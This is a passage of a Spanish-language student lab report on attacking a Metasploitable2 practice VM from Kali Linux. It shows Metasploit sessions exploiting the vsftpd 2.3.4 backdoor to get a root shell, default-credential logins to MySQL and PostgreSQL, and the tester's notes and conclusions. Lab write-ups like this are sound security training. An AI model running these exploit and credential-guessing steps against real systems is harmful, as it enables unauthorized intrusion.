-01	great	Yes	ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (F	

Ilustración 25 ProFTPD 1.3.1

```
Interact with a module by name or index. For example info 16, use 16 or use exploit
/unix/ftp/proftpd_133c_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > se
search services sessions set setg
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 210.210.200.5
rhosts => 210.210.200.5
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set lhost 210.210.200.5
[!] Unknown datastore option: lhost. Did you mean RHOST?
lhost => 210.210.200.5
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set lport 444
[!] Unknown datastore option: lport. Did you mean RPORT?
lport => 444
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Ilustración 26 exploit/unix/ftp/vsftpd_234_backdoor

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 210.210.200.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 210.210.200.5:21 - USER: 331 Please specify the password.
[+] 210.210.200.5:21 - Backdoor service has been spawned, handling...
[+] 210.210.200.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (210.210.200.4:44283 -> 210.210.200.5:6200) at 2025-08-08 03:49:16 +0200
```

```
whoami
root
```

Ilustración 27 run, ya estamos adentro

Puerto 3306/TCP → MySQL 5.0.51a-3ubuntu5

```
msf6 > search mysql_login

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Check  Descript
ion                                     -----
-  ----                                     -

0  auxiliary/scanner/mysql/mysql_login .    normal  No     MySQL Lo
gin Utility

Interact with a module by name or index. For example info 0, use 0 or use auxiliary
/scanner/mysql/mysql_login

msf6 > use auxiliary/scanner/mysql/mysql_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an
interactive session
msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 210.210.200.5
rhosts => 210.210.200.5
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
[!] Unknown datastore option: USERNAME. Did you mean USERNAME?
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_login) > set PASSWORD root
PASSWORD => root
```

Ilustración 28 search mysql_login


```

msf6 auxiliary(scanner/mysql/mysql_login) > run
[+] 210.210.200.5:3306 - 210.210.200.5:3306 - Found remote MySQL version 5.0.51a
[!] 210.210.200.5:3306 - No active DB -- Credential data will not be saved!
[-] 210.210.200.5:3306 - 210.210.200.5:3306 - LOGIN FAILED: root:root (Unable to
  Connect: invalid packet: scramble_length(0) != length of scramble(21))
[-] 210.210.200.5:3306 - 210.210.200.5:3306 - LOGIN FAILED: root: (Unable to Con
  nect: invalid packet: scramble_length(0) != length of scramble(21))
[*] 210.210.200.5:3306 - Scanned 1 of 1 hosts (100% complete)
[*] 210.210.200.5:3306 - Bruteforce completed, 0 credentials were successful.
[*] 210.210.200.5:3306 - You can open an MySQL session with these credentials an
  d CreateSession set to true
[*] Auxiliary module execution completed

```

Ilustración 29 mysql_login / run

Aquí ponemos apreciar el mysql y su contenido.

```

--(root@pater)-[/home/pater]
--# mysql -h 210.210.200.5 -u root --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+-----+
| Database |
+-----+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+-----+
rows in set (0,002 sec)

```

Ilustración 30 mysql y su contenido.

Puerto 5432/TCP → PostgreSQL 8.3.X

```
msf6 > search postgres_login
```

Matching Modules
=====

#	Name	Disclosure Date	Rank	Check	De
0	auxiliary/scanner/postgres/postgres_login PostgreSQL Login Utility	.	normal	No	Po

Interact with a module by name or index. For example `info 0`, `use 0` or `use auxiliary/scanner/postgres/postgres_login`

```
msf6 > use 0
```

[*] New in Metasploit 6.4 - The `CreateSession` option within this module can open an interactive session

```
msf6 auxiliary(scanner/postgres/postgres_login) > set rhosts 210.210.200.5
rhosts => 210.210.200.5
msf6 auxiliary(scanner/postgres/postgres_login) > set USERNAME postgres
USERNAME => postgres
msf6 auxiliary(scanner/postgres/postgres_login) > set PASSWORD postgres
PASSWORD => postgres
msf6 auxiliary(scanner/postgres/postgres_login) >
```

Ilustración 31 search postgres_login

```
(root@pater)-[/home/pater]
# psql -h 210.210.200.5 -U postgres template1
Contraseña para usuario postgres:
psql (17.5 (Debian 17.5-1), servidor 8.3.1)
ADVERTENCIA: psql versión mayor 17, servidor versión mayor 8.3.
Algunas características de psql podrían no funcionar.
Digite «help» para obtener ayuda.

template1=#
template1=#
template1=# sudo su
template1-# hola hola
```

Dificultades encontradas y soluciones

Mal uso de comandos Nmap y Netcat:

Dificultad: Al ejecutar comandos como **vsftpd 2.3.4** o **nc** sin los parámetros adecuados, se generaron errores de configuración o conexión.

Solución: Revisar cuidadosamente la sintaxis de los comandos antes de ejecutarlos, y consultar documentación oficial o ayuda (**man nmap**, **man nc**) para entender su funcionamiento.

Error de negociación SSH:

Dificultad: Al intentar conectarse por SSH a la máquina Metasploitable2, se presentó el error:

Unable to negotiate with 210.210.200.5 port 22: no matching host key type found.

Solución: Se utilizó el parámetro **-oHostKeyAlgorithms=+ssh-rsa** para forzar el uso de claves compatibles y permitir la conexión desde Kali Linux.

Glosario

- **Metasploitable 2:** Máquina virtual diseñada para prácticas de hacking ético, con múltiples servicios vulnerables preconfigurados.
- **Kali Linux:** Sistema operativo especializado en pruebas de penetración, análisis forense y auditorías de seguridad.
- **Nmap:** Herramienta de escaneo de red que permite detectar puertos abiertos, servicios activos y versiones de software.
- **Netcat (nc):** Herramienta de red que permite establecer conexiones TCP/UDP manuales para probar servicios.

- **Banner:** Información que un servicio expone al conectarse, como su nombre, versión o sistema operativo.
- **SSH:** Protocolo seguro para administración remota. Requiere negociación de claves entre cliente y servidor.
- **FTP:** Protocolo de transferencia de archivos. En versiones sin cifrado, puede exponer credenciales en texto claro.

Conclusiones

Durante el desarrollo del laboratorio se logró identificar y analizar múltiples servicios vulnerables presentes en la máquina Metasploitable2, utilizando herramientas como Nmap, Netcat y SSH desde Kali Linux. A pesar de enfrentar dificultades técnicas como errores de conexión y comandos mal estructurados, se aplicaron soluciones efectivas que permitieron continuar con el proceso de exploración y validación.

Este ejercicio me permitió fortalecer mis habilidades en el escaneo de redes, interpretación de banners, protocolos y uso de herramientas de pentesting. Además, evidencio la importancia de trabajar en entornos actualizados, ya que Metasploitable2, aunque útil para prácticas básicas, presenta limitaciones frente a tecnologías modernas.

Bibliografía

Rafel Sandoval Morales

Webgrafía

Comandos de Nmap.

https://www.csirtcv.gva.es/wp-content/uploads/2020/05/NMAP-6_-Listado-de-comandos.pdf

Ia.

<https://chatgpt.com/>